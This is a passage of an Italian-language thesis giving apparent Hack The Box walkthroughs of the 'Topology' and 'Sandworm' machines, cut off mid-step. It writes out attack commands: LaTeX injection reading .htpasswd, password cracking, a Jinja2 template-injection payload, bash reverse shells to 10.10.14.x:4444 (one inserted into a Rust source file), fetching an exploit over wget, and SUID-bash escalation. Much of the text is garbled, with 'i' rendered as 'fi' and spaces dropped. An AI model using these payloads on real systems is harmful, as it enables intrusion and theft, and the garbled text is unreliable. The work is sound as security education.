Successfivamente,dfigfitandofilcomandonc -nvlp 4444,sfiutfilfizzanc(netcat)per
aprfireunaconnessfionedfiretedall’findfirfizzoIP10.10.11.219allaporta4444delsfistemae
ascoltareleconnessfionfifinarrfivo.ComemostratofinFfigura3.38,durantelaconnessfione,è
statofinvfiatofilcomandofidecomeoutputsfinotachesfièesegufitofilcomandoconprfivfilegfidfi
ammfinfistratore(UID0)echesfièl’utenteRoot.Subfitodopo,cambfiandodfirectoryfin/root
edandofilcomandols,verfifichfiamofifilepresentfifinessa.Vfisualfizzandofilcontenutodelfile
user.txt,attraversofilcomandocat root.txt,sfiarrfivaascoprfirelaRootFlag(Ffigura
3.38).

Ffigura3.38:ScopertadellaRootFlag



CAPITOLO 4

Un secondo test di Ethical hacking

Nel corso di questo capitolo esploreremo in dettaglio il processo di esecuzione di un secondo penetration
test su una macchina virtuale. Verranno descritti metodi e tecnologie necessari all’ottenimento dell’accesso al
sistema User e al sistema Root.

In questo caso, la macchina target, messa a disposizione dalla piattaforma di sicurezza informatica Hack
The Box (HTB), descritta nella Sezione 2.2, è denominata "Topology" e, come la macchina utilizzata nel
Capitolo 3, è basata sul sistema operativo Linux.

4.1 Information Gathering

Il passo preliminare, come si nota nella Figura 4.1, è la creazione di una sottocartella della
cartella Documenti, avente lo stesso nome della macchina bersaglio, in modo tale che tutte
le azioni, i file e i tool saranno contenuti nella suddetta cartella.

Figura 4.1: Creazione cartella di nome Topology

Come già visto nel Capitolo 3, ci si collega alla corrispondente VPN del sito di Hack-
TheBox, attraverso il download del file .ovpn e l’esecuzione del comando sudo openvpn
lab_Trust14.ovpn, e si avvia la macchina di nome Topology.

Una volta effettuato ciò si inizia con l’enumerazione, come si osserva in Figura 4.2,
attraverso il comando nmap -A -sV 10.10.11.217; dove l’indirizzo IP corrisponde a
quello della macchina Topology. Nel precedente comando sono stati utilizzati i seguenti
parametri:

• -A, indica ad Nmap di eseguire una scansione "aggressiva" e include un insieme di
scansioni e rilevazioni specifiche che cercano di ottenere il massimo numero possibile
di informazioni su un obiettivo. Questo può comprendere la rilevazione del sistema
operativo, delle versioni dei servizi, delle opzioni del firewall e altro.

• -sV, per sondare le porte aperte determinando le informazioni sui servizi in ascolto su
queste ultime e provando a identificarne le versioni.

49
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Ffigura4.2:EsecuzfionedelcomandoNmap

Sfipuònotarechefilrfisultatodfiquestocomandoèunelencodfiporteaperte,finpartficolare
due:

•Porta22:laportaTCP22èapertaestaospfitandounservfizfioSSH(SecureShell),un
protocollodfiretecrfittografatoutfilfizzatoperlagestfioneremotasficuradfisfistemfi.Inoltre
sfinotacheèfinesecuzfionelaversfione8.2p1dfiOpenSSHsuunsfistemaUbuntuconfil
kernelLfinux;

•Porta80:filservfizfiofinascoltoèHTTP(HypertextTransferProtocol)e“http-tfitle: Mfiska-
tonficUnfiversfity|TopologyGroup”èfiltfitolodellapagfinawebvfisualfizzatonelser-
ver.Lapagfinawebsembraappartenerea"Mfiskatonfic Unfiversfity | Topology
Group".

Infattficercando"10.10.11.217"sulmotoredfirficerca,ossfial’findfirfizzoIPdellamacchfina
Topology,sfinotacheapparfirànelloschermofilsfitowebpresentefinFfigura4.3.

Ffigura4.3:Rfisultatodellarficercadell’findfirfizzoIP10.10.11.217

NellaFfigura4.4,sfinotacome,navfigandosulsfitoweb,sfiabbfiaunasezfionerfiguardantefi
progettfisoftwaresvfiluppatfidalTopologyGroupofProf.LfilfianKlefinsfituatonella Mfiskatonfic
Unfiversfity;finpartficolare,vfièunsoftware(nellasezfionefinrossonellafoto)rfiguardantela
creazfionedfifileconestensfione.pngdfiequazfionfiLaTeXnelbrowser.

10.10.11.217
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Ffigura4.4:NavfigazfionesulsfitowebTopology

Tramfitefilcomandosudo nano /etc/hosts,sfiapreesfimodfificafilfiledficonfigura-
zfionedeglfihostsulsfistemaLfinux,creandoun’assocfiazfionetral’findfirfizzoIP10.10.11.217
dellamacchfinaTopologyefilnomedfidomfinfiolatex.topology.htb(Ffigura4.5).

Ffigura4.5:Modfificadelfile hosts

Dficonseguenza,unavoltaaggfiornatofilfilehosts,sfièfingradodfiaprfirelapagfinaweb
mostratafinFfigura4.6.

Ffigura4.6:Aperturadelsfitoweblatex.topology.htb/equatfion.php

latex.topology.htb/equation.php
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4.2 VulnerabfilfityAnalysfis

Conclusal’analfisfisuperficfialedelsfito,ènecessarfioanalfizzarefinmanfierapfiùapprofondfita
tuttocfiòchelorfiguarda,finmodotaledaanalfizzareefindfivfiduarneleeventualfivulnerabfilfità
dapotersfruttareperottenerel’accessoallaShellutente.

Aquestoscopo,sficercasulmotoredfirficerca“LaTeXInjectfion”.Alseguentefindfirfizzoweb
https://book.hacktrficks.xyz/pentestfing-web/formula-doc-latex-finject
fionsfitrovafilcomandopresentenellaFfigura4.7,dafinserfirenelsfitocorrfispondenteal
domfinfiolatex.topology.htb.

Ffigura4.7:ReperfimentoLaTeXInjectfionsulsfitowebHackTrficks

L’finfiezfioneLaTeXperlaletturadefifileèunaformadfiattaccofinformatficochesfrutta
debolezzenellefunzfionalfitàdfiparsfingerenderfingdfiLaTeX,unlfinguaggfiodfimarkupam-
pfiamenteutfilfizzatoperlacreazfionedfidocumentfitecnficfiescfientfificfi.L’attaccogeneralmente
cofinvolgel’finserfimentodficodficeLaTeXdannosoall’finternodeldocumento,chesfruttale
funzfionalfitàdfifinclusfionedfifiledfiLaTeX.

4.3 Explofitatfion

SfruttandolefinformazfionfireperfitedallafasedfiVulnerabfilfityAnalysfis,sfieffettuauna
LaTeXInjectfion,ossfiauntfipodfiattaccofinformatficoche mfiraadfinserfirecomandfiLaTeX
dannosfiomalevolfifinun’applficazfioneounsfistemacheelaborafilmarkupLaTeX.L’obfiettfivo
èquellodfisfruttarevulnerabfilfitànellavfisualfizzazfioneonell’elaborazfionedelcodficeLaTeX
alfinedfiottenereaccessononautorfizzato.

Ilcomandochedfigfiteremonelcampodfifinserfimentotestualesulsfitowebè:

$\lstfinputlfistfing{/var/www/dev/.htpasswd}$

NellaFfigura4.8sfiosserval’finserfimentodelcomandosuddettonelsfitoweb.
Inpartficolare:

•\lstfinputlfistfing:èutfilfizzatoperfinserfirecodficesorgentedafileesternfiall’finterno
dfiundocumentoLaTeX.Qufindficonsentedfifincluderecodficedaunfilespecfificatoedfi
formattarlofinmodoapproprfiatoperlavfisualfizzazfioneneldocumento.

latex.topology.htb
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•/var/www/dev/.htpasswd:èunastrfingadfipercorso(path)chepuntaaunfile
chfiamato.htpasswdsfituatonelladfirectory/var/www/dev.Questofileèspesso
utfilfizzatoperlaprotezfionedfidfirectoryopagfinewebmedfiantel’autentficazfionebasata
supassword.

Ffigura4.8:InserfimentodelcomandopereffettuarelaLaTeXInjectfion

Clficcandofilpulsante"Generate"sullapagfina web,sfiottfienefilrfisultatoosservatofin
Ffigura4.9.Lapartedelrfisultatoottenuto,corrfispondenteavdafisley,rfiguardafilnomedfiun
utente.

Ffigura4.9:RfisultatodelcomandodfiLaTeXInjectfion

Dfisegufito,tramfitefilcomandogedfit hash.txt,sfiavvfieràl’applficazfioneGedfit,l’edfi-
tordfitestodfiGNOME,esfiaprfiràfilfilechfiamatohash.txtutfilfizzandofilsuddettoedfitor
(Ffigure4.10e4.11).Pofisfitrascrfivenelfilehash.txtfilrfisultatoottenutoconlaLaTeX
Injectfion.

Ffigura4.10:Esecuzfionecomandogedfit hash.txt
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Ffigura4.11:Avvfioedfitordfitesto

Successfivamente,dandofilcomandojohn -wordlfist=/usr/share/wordlfists/
rockyou.txt hash.txtsfieseguel’utfilfitydficrackfingdellepassword,denomfinatoJohn
theRfipper(unpopolaresoftwareperfilcrackfingdellepassworddficufisfièparlatonellaSezfione
2.5.2),percercaredfidecfifrareunhashutfilfizzandounawordlfistspecfificandonefilpercorsoe
filnomedelfilecontenentel’hash(Ffigura4.12).

Ffigura4.12:EsecuzfionedelcomandoJohntheRfipper

Sfièfindfivfiduatalapassworddell’utentevdafisleychecorrfispondeacalculus20.
Aquestopunto,accedfiamoaquestoaccount(Ffigura4.13)avvfiandounasessfionedfi

accessoremotosficuromedfiantefilprotocolloSSH,dfiscussonellaSezfione2.4.2,utfilfizzandola
passwordtrovataprecedentemente.

Ffigura4.13:AvvfiodellasessfioneSSH
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Nelfrattempo,comemostratofinFfigura4.14,sfiapreun’altrafinestradeltermfinaleecfisfi
dfirfigenelladfirectory/Scrfivanfiaesfidfigfitapython3 -m http.server 80,utfilfizzando
l’finterpretePython.SfiavvfieràunserverwebcherfisponderàallerfichfiesteHTTP.Ilserver
webèfinascoltosullaporta80e,qufindfi,accetteràlerfichfiesteHTTPfinvfiateaquestaporta.

Ffigura4.14:Avvfiodelserverwebfinascoltosullaporta80

RecandocfisultermfinalefincufisfièavvfiatalasessfioneSecureShell,sfiscarficafilfiledenomfi-
natopspy64tramfitefilcomandowget http://10.10.14.206:80/pspy64specfificando
l’findfirfizzoIPdellamacchfina(10.10.14.206)elaporta(80)(Ffigura4.15).

Pspy64èunostrumentoarfigadficomandoprogettatopercurfiosarenefiprocessfisenza
bfisognodfipermessfidfirooteconsentedfivedereficomandfiesegufitfidaaltrfiutentfi.

Ffigura4.15:Scarficamentodelfilepspy64

Successfivamentesfirendeesegufibfilefilfilepspy64tramfitefilcomandochmod +x pspy64
elosfiesegue,avendocomerfisultatocfiòcheèmostratofinFfigura4.16.

Ffigura4.16:Esecuzfionedelfilepspy64

SfinotachefilprocessoconPID24265staeseguendouncomandoffindchecercafilecon
estensfione.pltnelladfirectory/opt/gnuplotenellesuesottodfirectory.Unavoltatrovatfi
fifile,staeseguendofilcomandognuplotsucfiascunodfiessfi.

“Gnuplot”èunprogrammaperlacreazfionedfigraficfiutfilfizzatofinambfientfiUnfix-lfikeper
produrregraficfieplotdfidatfidafile.

ComeèvfisfibfilefinFfigura4.17,cfisfirecanelladfirectory/opte,dfigfitandofilcomandoecho
’system "chmod u+s /bfin/bash"’ > /opt/gnuplot/root.plt,sfivaascrfiverela
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strfingasystem "chmod u+s /bfin/bash"nelfilepresentenelpath/opt/gnuplot/roo
t.plt.

Lastrfingaèuncomandochecercadfiesegufireun’operazfionedfi"set-user-ID"(u+s)sul
fileesegufibfile/bfin/bash,consentendo,finquestomodo,l’esecuzfionedelfileconfiprfivfilegfi
dfirootquandoquest’ultfimovfieneesegufitodaunutentenonprfivfilegfiato.

Ffigura4.17:Esecuzfionedelcomandosuddetto

Cfisfispostanelladfirectorycorrfispondenteallahomedell’utente,vfisualfizzandol’elenco
defifilepresentfifinessae,finpartficolare,filcontenutodelfileuser.txttramfitefilcomando
cat user.txt,recuperandolaUserFlag(Ffigura4.18).

Ffigura4.18:RecuperodellaUserFlag

4.4 Post-Explofitatfion

Unavoltaottenutol’accessoallaShelldell’utente,ènecessarfiocercarepossfibfilfipercorsfi
pereffettuarelaPrfivfilegeescalatfion,ossfiaperscalarefiprfivfilegfi,finmodotaledaottenerela
RootFlag.QufindfisfinavfiganellaShellUserottenutaperrecuperarefinformazfionfiutfilfial
raggfiungfimentodellaShellRoot.

Aquestoscopovengonoesegufitfi3dfiversficomandfi:

1.ls -l /bfin/bash:sfivfisualfizzanolefinformazfionfidettaglfiatesulfileesegufibfile
/bfin/bash;

2.Bash -p:sfiavvfiaun’fistanzadelshellBashconfipermessfieffettfivfidell’utentechesta
eseguendofilcomando;

3.fid:vfieneutfilfizzatopervfisualfizzarelefinformazfionfisull’fidentfitàdell’utentecorrentee
sfinotachequest’ultfimostaoperandotemporaneamenteconfiprfivfilegfidfiroot.

Inmodosemplfice,cfisfispostanelladfirectory/root,sfivfisualfizzal’elencodefifilepresentfi
finessaefilcontenutodfiquestfiultfimfi.Inpartficolare,èfinteressantevfisualfizzarefilcontenutodel
fileroot.txttramfitefilcomandocat root.txt,findfivfiduandolaRootFlagevfidenzfiata
finrossonellaFfigura4.19.

Ffigura4.19:RecuperodellaRootFlag



CAPITOLO 5

Un terzo test di Ethical Hacking

Nel corso di questo capitolo esploreremo in dettaglio il processo di esecuzione di un terzo penetration test
su una macchina virtuale. Descriveremo metodi e tecnologie necessari all’ottenimento dell’accesso al sistema
User e al sistema Root.

In questo caso, la macchina target, messa a disposizione dalla piattaforma di sicurezza informatica Hack
The Box (HTB), descritta nella Sezione 2.2, è denominata Sandworm e, come le macchine utilizzate nei
Capitoli 3 e 4, è basata sul sistema operativo Linux.

5.1 Information Gathering

Il passo preliminare, come si nota nella Figura 5.1, è la creazione di una sottocartella della
cartella Documenti, avente lo stesso nome della macchina bersaglio, in modo tale che tutte
le azioni, i file e i tool saranno contenuti nella suddetta cartella.

Figura 5.1: Creazione cartella di nome Sandworm

Come già visto nei Capitoli 3 e 4, ci si collega alla corrispondente VPN del sito di Hack-
TheBox attraverso il download del file .ovpn e l’esecuzione del comando sudo openvpn
lab_Trust14.ovpn, e si avvia la macchina Sandworm.

Una volta effettuato ciò si inizia con l’enumerazione attraverso il comando nmap -A -sV
10.10.11.218 dove l’indirizzo IP corrisponde a quello della macchina Topology (Figura
5.2). Nel precedente comando sono stati utilizzati i seguenti parametri:

• -A; indica ad Nmap di eseguire una scansione "aggressiva" e include un insieme di
scansioni e rilevazioni specifiche che cercano di ottenere il massimo numero possibile di
informazioni su un obiettivo. Questo può includere la rilevazione del sistema operativo,
delle versioni dei servizi e delle opzioni del firewall.

• -sV; sonda le porte aperte determinando le informazioni sui servizi in ascolto su queste
ultime e prova a identificarne le versioni.

57
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Ffigura5.2:EsecuzfionedelcomandoNmap

Sfipuònotarechefilrfisultatodfiquestocomandoèunelencodfiporteaperte,finpartficolare
tre:

•Porta22:laportaTCP22èapertaestaospfitandounservfizfioSSH(SecureShell),un
protocollodfiretecrfittografatoutfilfizzatoperlagestfioneremotasficuradfisfistemfi.Il
serverSSHsembraessereOpenSSH8.9p1Ubuntu3ubuntu.1suunsfistemaUbuntu.

•Porta80:filservfizfiofinascoltoèHTTP(HypertextTransferProtocol)esembrachefiltfitolo
dellapagfinanonsfiastatosegufitofinquantoc’èunredfirectahttps://ssa.htb/..

•Porta43:èapertaeospfitaunserverHTTPSconl’headerdelserverchefindficangfinx/1.1
8.0 (Ubuntu).IltfitolodellapagfinaèSecret Spy Agency | Secret Securfity
Servfice.Inoltre,èpresenteuncertfificatoSSLconalcunefinformazfionfisulsoggettoe
sullavalfidfitàtemporale.

Tramfitefilcomandosudo nano /etc/hostssfiapreesfimodfificafilfiledficonfigurazfio-
nedeglfihostsulsfistemaLfinux,creandoun’assocfiazfionetral’findfirfizzoIP10.10.11.218
dellamacchfinaSandwormefilnomedfidomfinfiossa.htbnelsuddettofile(Ffigura5.3).

Ffigura5.3:Modfificadelfilehosts

Cercandofildomfinfiossa.htbnellabarradfirficercadel motoredfirficerca,otterremo
questocomerfisultato,senzaperònotarenulladfifinteressante(Ffigura5.4).

Aquestopunto,peraveremaggfiorfifinformazfionfi,effettufiamounascansfioneutfilfizzando
Gobuster,eseguendofilcomandogobuster dfir -u https://ssa.htb/ -w /usr/sh
are/dfirb/wordlfists/common.txt -k.

https://ssa.htb/.
ssa.htb
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Ffigura5.4:SfitowebSecretSpyAgency

Ilcomandosuddettoverràutfilfizzatoperesegufireunascansfionedelledfirectorysulsfito
webhttps://ssa.htb/utfilfizzandounawordlfistcomunedfipossfibfilfinomfidfidfirectory.
L’obfiettfivoèfindfivfiduaredfirectorynascosteocontenutfiaccessfibfilfichepotrebberononessere
facfilmentevfisfibfilfisullapagfinaprfincfipaledelsfitoweb(Ffigura5.5).

Ffigura5.5:EsecuzfionedelcomandoGobuster

Sfiponel’attenzfionesullapagfina/admfinmanonsfipossfiedealcunacredenzfiale.Un’altra
pagfinadatenerefinconto,mostratafinFfigura5.6,è/gufide.

Ffigura5.6:Pagfinawebhttps://ssa.htb/gufide

IlsfitosembraoffrfirefistruzfionfisucomeutfilfizzarelacrfittografiaPGPperfirmareeve-
rfificare messaggfi,enfatfizzandol’fimportanzadellasficurezzaedellaprfivacynellecomu-
nficazfionfionlfine.Laverfificadefi messaggfiPGPèunprocessocheconsentedficonfermare
chefil messaggfioèstatoeffettfivamentefirmatoconlachfiaveprfivataassocfiataallachfiave

https://ssa.htb/
https://ssa.htb/guide
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pubblficafimportata.L’utentepotràfimportarelachfiavepubblficaPGPdell’organfizzazfioneo
dell’findfivfiduoeverfificarnel’fidentfità.

Infattfi,scendendosotto,sfinotanoduecampfidfifinputtestuale:asfinfistrauncampoper
finserfireunachfiavepubblfica(PublficKey)eadestrafilSfignedTextcherappresentafilrfisultato
(Ffigura5.7).

Ffigura5.7:Pagfinawebhttps://ssa.htb/gufide

5.2 VulnerabfilfityAnalysfis

UnavoltaraccoltetuttelefinformazfionfiutfilfinellafasedfiInformatfionGatherfing,tramfitefil
comandogpg -gen-key,sfigeneranounanuovacoppfiadfichfiavficrfittograficheutfilfizzando
filprogrammaGnuPG(GNUPrfivacyGuard),strumentoperlacrfittografiaelafirmadfigfitale,
fillustratonellaSezfione2.5.3.

SfiscoprechefilcampoNome e CognomeèvulnerabfileaSSTI(ServerSfideTemplate
Injectfion),unavulnerabfilfitàdfisficurezzachesfiverfificaquandoun’applficazfionewebpermette
aglfiutentfidfifinserfiredelcodficeperfilrenderfingdfitemplatelatoserver.

ComemostratofinFfigura5.8,persfruttarelavulnerabfilfità,sfifinserfiscefilpayload"7*7"
nelcampo"Nome e Cognome".

Ffigura5.8:Generazfionedellachfiavepubblfica

Seèvulnerabfile,comerfisultatosfivfisualfizzerànelloschermol’output"49".

https://ssa.htb/guide
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Successfivamentesfidàfilcomandogpg -lfist-keyspervfisualfizzarelalfistadfituttele
chfiavfigenerate(Ffigura5.9).

Ffigura5.9:Lfistadfichfiavfigenerate

Aquestopunto,esportfiamolachfiavepubblficanelfiledenomfinatopublfic_key.asc
confilseguentecomandoperlacrfittografia:gpg -armor -export test@test.com >
publfic_key.asc.Inpartficolare:

•gpgèuncomandoperfinteragfireconGnuPG,un’applficazfioneutfilfizzatapercrfittogra-
fareedecrfittografaredatfi,generareegestfirechfiavficrfittografiche.

•-armorèuncomandochefindficaaGPGdfigenerarel’outputfinunformato"armored",
ovverofinunformatotestualeASCIIfinvecechebfinarfio.

•-export test@test.comèuncomandochefindficaaGPGdfiesportarelachfiave
pubblficaassocfiataall’findfirfizzoemafiltest@test.com.

•> publfic_key.ascèuncomandocheredfirfigel’outputdell’esportazfionedellachfiave
pubblficanelfiledenomfinatopublfic_key.asc.

Qufindfidobbfiamogenerarelanostrachfiavefirmatapercrfittografarefilnostromessaggfio,
chefinserfiremonelcampodfifinputcomeSfignedText,grazfieaficomandfiecho “Test” >
message.txtegpg -clear-sfign -output sfigned_message.asc message.txt.

Analfizzandofilprfimocomandoavremoche:

•echoèuncomandochestampa(vfisualfizza)filsuoargomentosulloschermo(dfisolfito
neltermfinale).Inquestocaso,l’argomentoèlastrfingaTest.

•"Test"èunastrfingachevfienepassataalcomando"echo"peresserevfisualfizzatao
elaborata.

•>èunoperatoredfiredfirezfionechevfieneutfilfizzatoperfindfirfizzarel’outputdelcomando
precedenteversounfile. Nelcontestodfiquestocomando,findficachel’outputdel
comando"echo"(cfioèlastrfingaTest)verràscrfittonelfilemessage.txt.

•message.txtèfilnomedelfilefincufiverràscrfittalastrfingaTestprovenfientedal
comandoecho.

Rfiguardol’analfisfidelsecondocomando,finvece,avremoche:

•gpgèuncomandoperfinteragfireconGnuPG,un’applficazfioneutfilfizzatapercrfittogra-
fareedecrfittografaredatfi,generareegestfirechfiavficrfittografiche.

•-clear-sfignèuncomandochefindficaaGPGdficreareunafirmadfigfitalechfiara
perfilfilespecfificato.Unafirmadfigfitalechfiaraèunafirmacrfittograficachevfiene
allegataaltestoorfigfinalefinmodochefiltestosfiaancoraleggfibfilesenzalanecessfitàdfi
decrfittografarlo,maconlagaranzfiadell’autentficfitàedell’fintegrfitàdelcontenuto.
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•-output sfigned_message.ascèuncomandochespecfificafilnomedelfilefincufi
verràsalvatalafirmadfigfitalechfiaraossfianelfilechfiamatosfigned_message.asc.

•message.txtèfilnomedelfilecheverràfirmatodfigfitalmente.

Cfiòcheèstatodescrfittofinora,puòesserevfisfionatonelleFfigure5.10,5.11e5.12.

Ffigura5.10:Esecuzfionedelcomandogpg -armor -export

Ffigura5.11:Esecuzfionedelcomandoecho “Test” > message.txt

Ffigura5.12:Esecuzfione del comando gpg -clear-sfign -output sfigned_message.asc
message.txt

NellaFfigura5.13,tramfitefilcomandocat publfic_key.asc,sfivfisualfizzafilcontenuto
delfilepublfic_key.asc,ossfialachfiavepubblficagenerata.

Ffigura5.13:Vfisualfizzazfionedelcontenutodelfilepublfic_key.asc

NellaFfigura5.14,tramfitefilcomando cat sfigned_message.asc,sfivfisualfizzafil
contenutodelfilesfigned_message.asc,ossfiafiltestofirmatogenerato.
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Ffigura5.14:Vfisualfizzazfionedelcontenutodelfilesfigned_message.asc

Dopoesseretornatfisulsfitossa.htb/gufideedaverfinserfito,neficampfiapproprfiatfi,
laPublficKeyefilSfignedTestappenageneratfi,premendosu“VerfifySfignature",sfitrova
l’outputpresentefinFfigura5.15.Inpartficolarenelrfisultato,comesfidesfiderava,sfirfiscontra
49 [unknown].

Ffigura5.15:Rfisultatodel“VerfifySfignature"

SfirfiscontrachesfitrattadfiJfinja2TemplateEngfine,cheèunmotoredfitemplatelatoserver
scrfittofinPython.Essoèampfiamenteutfilfizzatoperlagenerazfionedfinamficadficontenutfi
HTML,XML,JSONealtrfiformatfidfidatfifinapplficazfionfiwebesoftware.Dficonseguenza,sfiè
scopertaunanuovavulnerabfilfitàsfruttabfile.

Aquestopunto,sfielfimfinanolepublfickeyelesecretkeyrelatfivealla mafildfiprova
test@test.comtramfitefiseguentficomandfi:gpg -delete-secret-keys test@test
.comegpg -delete-keys test@test.
com.

ssa.htb/guide
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5.3 Explofitatfion

GrazfieallefinformazfionfireperfitenellafasedfiVulnerabfilfityAnalysfis,sfigeneranonuova-
mentelechfiavfipubblfichemaquestavoltafilpayloadsaràdfiverso.Eseguendofilcomandogpg
-gen-key,nelcampoNome e cognomesfifinserfiscefilpayloadseguente:

self.__finfit__.__globals__.__bufiltfins__.__fimport__(‘os’).popen(‘fid’).read().

Quest’ultfimoèunframmentodficodficecheècorrelatoall’esecuzfionedficodficePython
conl’fintentodfiesegufireun’operazfioneall’finternodell’finterpretePythonstessoerappresenta
untentatfivodfiutfilfizzareun’explofitdfi"ServerSfideTemplateInjectfion".

Invece,nelcampoIndfirfizzo dfi Emafilfinserfiamosempretest@test.com.
CfiòèosservabfilenellaFfigura5.16.

Ffigura5.16:Generazfionedellechfiavficonfilpayloadperl’explofit

Sfirfipetonofipassaggfiprecedentfipergenerarelachfiavepubblficaefiltestofirmato,vfisfibfilfi
nelleFfigure5.17e5.18.

Ffigura5.17:GenerazfionedellaPublficKey

Ffigura5.18:GenerazfionedelSfignedText

NelleFfigure5.19e5.20,eseguendofirfispettfivficomandficat publfic_key.ascecat
sfigned_message.asc,sfipossonoosservarelanuovachfiavepubblficaefilnuovoSfigned
Textgeneratfi.
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Ffigura5.19:VfisualfizzazfionedellaPublficKey

Ffigura5.20:VfisualfizzazfionedelSfignedText

Tornandosulsfitossa.htb/gufide,dopoaverfinserfitoneficampfiapproprfiatfilaPublfic
KeyefilSfignedTestappenageneratfi,premendosu“VerfifySfignature”,sfitroval’UIDdell’utente
atlas(Ffigura5.21).

ssa.htb/guide
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Ffigura5.21:Indfivfiduazfionedell’UIDdell’utenteatlas

Aquestopuntosfigeneraunanuovachfiavesempreutfilfizzandofilcomandogpg -gen
-key,enelcampoNome e Cognome,sfisostfitufiscefilcomandofidconuncomandoReverse
ShellcomeosservabfilefinFfigura5.22.

Ffigura5.22:Indfivfiduazfionedell’errorenelpayload

Ilcomandoprecedentegeneraunerrorefinquantononsupportaficaratterfi"<>".
Dficonseguenza,losficodfificafinbase64,tramfitefilcomandoecho “bash -c ‘bash -

fi >& /dev/tcp/10.10.14.178/4444 0>&1’ ” | base64(Ffigura5.23).

Ffigura5.23:Codfificadelpayloadfinbase64

Unavoltaconvertfitocfiòfinbase64,finserfiamofiltuttonelfileshelltramfitel’edfitordfitesto
nanoepofi,finFfigura5.24,vfisualfizzfiamofilcontenuto.
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Ffigura5.24:Vfisualfizzazfionedelcontenutodell’edfitordfitesto

Sfirfigeneralachfiavepubblficatramfitefilsolfitocomandogpg -gen-key,finserendofil
payloadevfidenzfiatonelrettangolorossofinFfigura5.25.

Ffigura5.25:GenerazfionePublficKey

SfirfipetonofisolfitfipassaggfipergenerarelanuovaPublficKeyefilnuovoSfignedTextelfisfi
vfisualfizzanonelloschermocomemostratonelleFfigure5.26e5.27.

Ffigura5.26:VfisualfizzazfionedellePublficKey
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Ffigura5.27:VfisualfizzazfionedelSfignedText

Inserendolechfiavfigenerateneglfiapposfitficampfidelsfitowebrelatfivoaldomfinfiohttps:
//ssa.htb/gufide,ottenfiamolaReverseShellgrazfiealtoolNetcat,fin modalfitàascolto
sullaporta4444,autentficatocomeuserAtlas(Ffigura5.28).

Ffigura5.28:EsecuzfionedelcomandoNetcat

Cfisfidfirfigenelladfirectory/home/atlasesfivfisualfizzanolecartellecontenutefinquesta
dfirectory,entrandofin.conffig.Aquestopunto,sficontrollanofifilepresentfinellevarfie
cartelle,entrandofinesseunapervolta(Ffigura5.29).

Ffigura5.29:Esplorazfionedelfilefin.conffig

Nelladfirectory/.conffig/httpfie/sessfions/localhost_5000sfièfindfivfiduatofil
fileadmfin.jsonchecontfieneUsernameePassworddell’utentesfilentobserver,come
sfipuòosservarenellasezfioneevfidenzfiatafinrossonellaFfigura5.30.

https://ssa.htb/guide
https://ssa.htb/guide
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Ffigura5.30:UsernameePassworddell’utentesfilentobserver

Inun’altrafinestradeltermfinalesficreaunasessfioneSSH(SecureSheel),descrfittanel-
laSezfione2.4.2,attraversofilcomandossh sfilentobserver@ssa.htb,utfilfizzandolo
UsernameelaPasswordappenareperfite(Ffigura5.31).

Ffigura5.31:AccessoallaShellutente

Sfinotafilfiledenomfinatouser.txtesenevfisualfizzafilcontenuto,scoprendolaUser
Flag(Ffigura5.32).

Ffigura5.32:ScopertadellaUserFlag

5.4 Post-Explofitatfion

Unavoltaottenutol’accessoallaShellUser,èfilmomentodfirealfizzarelaVertficalPrfivfilege
EscalatfionperottenerelaShellRoot.

Aquestoscoposficontrollanofifilepresentfinellevarfiecartelledell’utentesfilentobserv
er.Nelladfirectoryopt/tfipnet/target/debugsfitrovafilfiletfipnet.d.Vfisualfizzando
filcontenutodfiquestofile,sfitrovano2fileconestensfione.rs,comesfivedefinFfigura5.33.
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Ffigura5.33:FfilepresentfinellaShellUser

Colcomandonano /opt/crates/logger/src/lfib.rsmodfifichfiamofilcontenuto
delfilelfib.rsaggfiungendoleseguentfirfighedficodfice(Ffigura5.34):

use std::process::Command;
let output = Command::new("bash")

.arg("-c")

.arg("bash -fi >& /dev/tcp/10.10.14.102/4444 0>&1")

.output()

.expect(“fafiled to execute process”);

InquestomodosfiutfilfizzalalfibrerfiastandarddfiRustperesegufireunprocessoBash.La
sequenzadficomandfiBashspecfificatacercadfistabfilfireunaconnessfionedfiReverseShellal
serverall’findfirfizzoIP10.10.14.102sullaporta4444.

Ffigura5.34:Contenutodelfilelfib.rs

Successfivamentesfisalvaesfichfiudequestofile.
SfiaprenuovamenteunaconnessfioneNetcatfinascoltoallaporta4444edeseguendofilfile

lfib.rsappenamodfificato,tramfitefilcomando./lfib.rs /opt/crates/logger/src/
lfib.rs,sfiotterràunaReverseShellessendoautentficatficomeAtlas(Ffigure5.35e5.36).

Ffigura5.35:Comandoperesegufirefilfilelfib.rs

Ffigura5.36:AvvfiodellaReverseShellfinascoltosullaporta4444
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NellaFfigura5.37sfirecuperal’fiddell’utenteAtlasetramfitefilcomandoffind / -perm
-4000 -user root 2>/dev/nullsficercanotuttfififilenelsfistemaconl’attrfibutosetufid
abfilfitatoechesonodfiproprfietàdell’utenteroot.

Eccocosafannolepartfidelcomando:

•ffind:cercafileedfirectoryall’finternodelsfistema.

•/:findficachelarficercadevepartfiredalladfirectoryradficedelfilesystem.

•-perm -4000:specfificafilcrfiterfiodfirficercabasatosufipermessfi.-4000findficachefi
fileconl’attrfibutosetufidabfilfitatosarannofinclusfinellarficerca.L’attrfibutosetufid
consenteaunesegufibfiledfiessereesegufitoconfiprfivfilegfidell’utenteproprfietarfio,
anzfichéconfiprfivfilegfidell’utentechestaeffettuandol’esecuzfione.Cfiòpuòportarea
possfibfilfivulnerabfilfitàdfisficurezzasenongestfitocorrettamente.

•-user root:opzfionechespecfificachefifilecercatfidevonoesseredfiproprfietàdell’u-
tente"root".

•2>/dev/null:comandocheredfirfigeglfierrorfiverso/dev/null,cheèun"nulldevfi-
ce"chescartaqualsfiasficosavengafinvfiata.Qufindfi,eventualfimessaggfidfierroregeneratfi
durantelarficercanonsarannovfisualfizzatfi.

Ffigura5.37:Rficercadefifileconattrfibutosetufid

Ponfiamol’attenzfionesu/usr/local/bfin/ffirejafildell’outputappenaottenuto:
Ffirejafilèun’utfilfitydfisandboxfingperLfinuxcheafiutaafisolareprocessfieapplficazfionfiper
rfidurrefilrfischfiodfiattacchfifinformatficfi.Sficercasulmotoredfirficerca“firejafilexplofit”esfi
scarficafilfiledfiexplofitpresentenelseguentesfitohttps://gfist.gfithub.com/GugSaas/
9fb3e59b3226e8073b3f8692859f8d25elosfisalvanelpath/Scrfivanfia.

Dfisegufitosfiaprelaconnessfioneadunserverweb,attraversol’finterpretePython,finascol-
tonellaporta8000(Ffigura5.38)esfieffettual’fimportazfionedelprecedentefilepermezzodella
Shellutente(Ffigura5.39),tramfitefilcomandowget http://10.10.14.102:8000/expl
ofit.py.

Ffigura5.38:Avvfiodelserverwebfinascoltosullaporta8000

